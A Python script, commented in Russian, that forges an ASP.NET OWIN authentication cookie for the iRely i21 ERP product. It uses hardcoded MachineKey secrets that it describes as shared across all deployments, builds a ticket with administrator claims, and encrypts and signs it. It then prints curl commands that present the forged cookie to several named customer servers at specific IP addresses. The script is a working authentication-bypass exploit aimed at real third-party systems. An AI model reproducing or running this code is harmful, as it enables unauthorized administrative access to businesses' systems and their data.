#!/usr/bin/env python3
"""
Правильный forge .AspNet.ApplicationCookie для iRely i21 (OWIN + IdentityServer3).

На основе исходного кода Microsoft.Owin.Security (AspNetKatana):
- TicketSerializer: GZip-compressed BinaryWriter output
- FormatVersion = 3 (TicketSerializer), 1 (PropertiesSerializer)
- .NET BinaryWriter.Write(string) = 7-bit encoded length + UTF-8 bytes
- WriteWithDefault: если value == default, пишет "\0" (single null byte as string)
- MachineKey.Protect (ASP.NET 4.5+): AES-CBC + HMAC-SHA256
"""
import gzip
import struct
import os
import hmac
import hashlib
import base64
import time
from io import BytesIO

# === MachineKey from Web.config (product-level, same on all iRely deployments) ===
DEC_KEY = bytes.fromhex("304DCCF3428FB1D39BCBCED801804B829F5BCD4D0E46A0E923AEFD427D9026E7")
VAL_KEY = bytes.fromhex("632EF20769E89AD1EEF7C18D3AAFFDC07B8D8241A1DAD922C27FFCC57F0A16DAC26AB5C4DF83CEE7289615849BE8FF369A4151B2F14227581D080E7C2AAC15E2")

# Default values from TicketSerializer.DefaultValues
NAME_CLAIM_TYPE = "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name"
ROLE_CLAIM_TYPE = "http://schemas.microsoft.com/ws/2008/06/identity/claims/role"
LOCAL_AUTHORITY = "LOCAL AUTHORITY"
STRING_VALUE_TYPE = "http://www.w3.org/2001/XMLSchema#string"
DEFAULT_STRING_PLACEHOLDER = "\0"

TICKET_FORMAT_VERSION = 3
PROPS_FORMAT_VERSION = 1


class DotNetBinaryWriter:
    """Emulates System.IO.BinaryWriter output format."""
    def __init__(self, stream):
        self.stream = stream

    def write_int32(self, val):
        self.stream.write(struct.pack("<i", val))

    def write_byte(self, val):
        self.stream.write(struct.pack("B", val))

    def write_string(self, s):
        """.NET BinaryWriter.Write(string) = 7-bit encoded length + UTF-8 bytes."""
        encoded = s.encode("utf-8")
        length = len(encoded)
        # 7-bit encoded length
        while length >= 0x80:
            self.stream.write(struct.pack("B", (length & 0x7F) | 0x80))
            length >>= 7
        self.stream.write(struct.pack("B", length & 0x7F))
        self.stream.write(encoded)

    def write_with_default(self, value, default_value):
        if value == default_value:
            self.write_string(DEFAULT_STRING_PLACEHOLDER)
        else:
            self.write_string(value)

    def write_long(self, val):
        """Int64 (ticks)"""
        self.stream.write(struct.pack("<q", val))


def write_with_default(writer, value, default_value):
    if value == default_value:
        writer.write_string(DEFAULT_STRING_PLACEHOLDER)
    else:
        writer.write_string(value)


def serialize_ticket(identity_type, name_claim_type, role_claim_type, claims, props_dict, issued_ticks, expires_ticks):
    """Serialize AuthenticationTicket in OWIN TicketSerializer format (with GZip)."""
    # Inner stream (uncompressed)
    inner = BytesIO()
    w = DotNetBinaryWriter(inner)

    # FormatVersion = 3
    w.write_int32(TICKET_FORMAT_VERSION)

    # Identity
    w.write_string(identity_type)  # "ApplicationCookie"
    write_with_default(w, name_claim_type, NAME_CLAIM_TYPE)
    write_with_default(w, role_claim_type, ROLE_CLAIM_TYPE)

    # Claims count
    w.write_int32(len(claims))

    # Claims
    for claim in claims:
        claim_type = claim["type"]
        claim_value = claim["value"]
        claim_value_type = claim.get("value_type", STRING_VALUE_TYPE)
        claim_issuer = claim.get("issuer", LOCAL_AUTHORITY)
        claim_original_issuer = claim.get("original_issuer", claim_issuer)

        write_with_default(w, claim_type, name_claim_type)
        w.write_string(claim_value)
        write_with_default(w, claim_value_type, STRING_VALUE_TYPE)
        write_with_default(w, claim_issuer, LOCAL_AUTHORITY)
        write_with_default(w, claim_original_issuer, claim_issuer)

    # BootstrapContext (0 = none)
    w.write_int32(0)

    # PropertiesSerializer.Write
    w.write_int32(PROPS_FORMAT_VERSION)  # FormatVersion = 1
    w.write_int32(len(props_dict))
    for k, v in props_dict.items():
        w.write_string(k)
        w.write_string(v)

    # Note: AuthenticationProperties in OWIN doesn't directly write IssuedUtc/ExpiresUtc
    # Those are stored in the Dictionary with special keys
    # But the original PropertiesSerializer only writes Dictionary.Count + entries
    # IssuedUtc/ExpiresUtc are NOT in Dictionary by default — they're separate properties
    # Actually looking at the code again: PropertiesSerializer.Write only writes Dictionary entries
    # The .AspNet.Identity.* entries in Dictionary are what carries the user info

    # GZip compress
    uncompressed = inner.getvalue()
    compressed = gzip.compress(uncompressed)

    return compressed


def machinekey_protect(data, purpose):
    """
    MachineKey.Protect (ASP.NET 4.5+) implementation.
    Format: version(1) + modifier(32) + IV(16) + ciphertext + HMAC(32)
    """
    # Step 1: Compute modifier = HMAC-SHA256(validationKey, purpose)
    modifier = hmac.new(VAL_KEY, purpose.encode("utf-8"), hashlib.sha256).digest()

    # Step 2: Generate IV
    iv = os.urandom(16)

    # Step 3: AES-256-CBC encrypt with PKCS7 padding
    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
    from cryptography.hazmat.primitives import padding as sym_padding

    padder = sym_padding.PKCS7(128).padder()
    padded = padder.update(data) + padder.finalize()

    cipher = Cipher(algorithms.AES(DEC_KEY), modes.CBC(iv))
    enc = cipher.encryptor()
    ciphertext = enc.update(padded) + enc.finalize()

    # Step 4: HMAC-SHA256 sign
    # Sign: version(1) + modifier(32) + IV(16) + ciphertext
    sign_data = bytes([1]) + modifier + iv + ciphertext
    signature = hmac.new(VAL_KEY, sign_data, hashlib.sha256).digest()

    # Step 5: Output = version + modifier + IV + ciphertext + signature
    output = bytes([1]) + modifier + iv + ciphertext + signature

    return output


def forge_cookie():
    # Claims for admin user
    claims = [
        {"type": NAME_CLAIM_TYPE, "value": "irelyadmin"},
        {"type": "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier", "value": "1"},
        {"type": ROLE_CLAIM_TYPE, "value": "Administrator"},
        {"type": "http://schemas.microsoft.com/accesscontrolservice/2010/07/claims/identityprovider", "value": "idsrv3test"},
        {"type": "Company", "value": "01"},
        {"type": "UserId", "value": "1"},
        {"type": "intRoleId", "value": "1"},
        {"type": "intUserRoleID", "value": "1"},
    ]

    # Properties
    now_ticks = int(time.time() * 10000000 + 621355968000000000)  # .NET ticks (100ns since 0001-01-01)
    props_dict = {
        ".AspNet.Identity.UserId": "1",
        ".AspNet.Identity.UserName": "irelyadmin",
        ".AspNet.Security.CookieProperty." + "UtcNow": str(now_ticks),  # may not be needed
    }

    # Serialize
    serialized = serialize_ticket(
        identity_type="ApplicationCookie",
        name_claim_type=NAME_CLAIM_TYPE,
        role_claim_type=ROLE_CLAIM_TYPE,
        claims=claims,
        props_dict=props_dict,
        issued_ticks=now_ticks,
        expires_ticks=now_ticks + 3600 * 10000000,  # +1 hour
    )

    print(f"Serialized (GZip compressed): {len(serialized)} bytes")

    # Protect with MachineKey
    purpose = "Microsoft.AspNet.Identity.Application"
    protected = machinekey_protect(serialized, purpose)
    cookie = base64.b64encode(protected).decode()

    print(f"Cookie length: {len(cookie)} chars")
    print()
    print("=== FORGED .AspNet.ApplicationCookie ===")
    print(cookie)
    print()
    print("=== TEST COMMANDS ===")
    print(f'curl -sS -D - -b ".AspNet.ApplicationCookie={cookie}" http://50.21.183.111/2210CherryEnergyUAP1/')
    print()

    # Also generate for a few customer servers
    servers = [
        ("20.25.203.56", "CHERRYENERGYUAP1"),
        ("66.175.236.86", "2210DAVISOILUAP"),
        ("74.208.53.28", "DALLMYRUAP"),
        ("198.71.52.102", "RTROGERSMBIL"),
    ]
    print("=== CUSTOMER SERVER TEST COMMANDS ===")
    for ip, path in servers:
        print(f'curl -sS -m 5 -o /dev/null -w "HTTP %{{http_code}}" -b ".AspNet.ApplicationCookie={cookie}" "http://{ip}/{path}/"')

    return cookie


if __name__ == "__main__":
    cookie = forge_cookie()
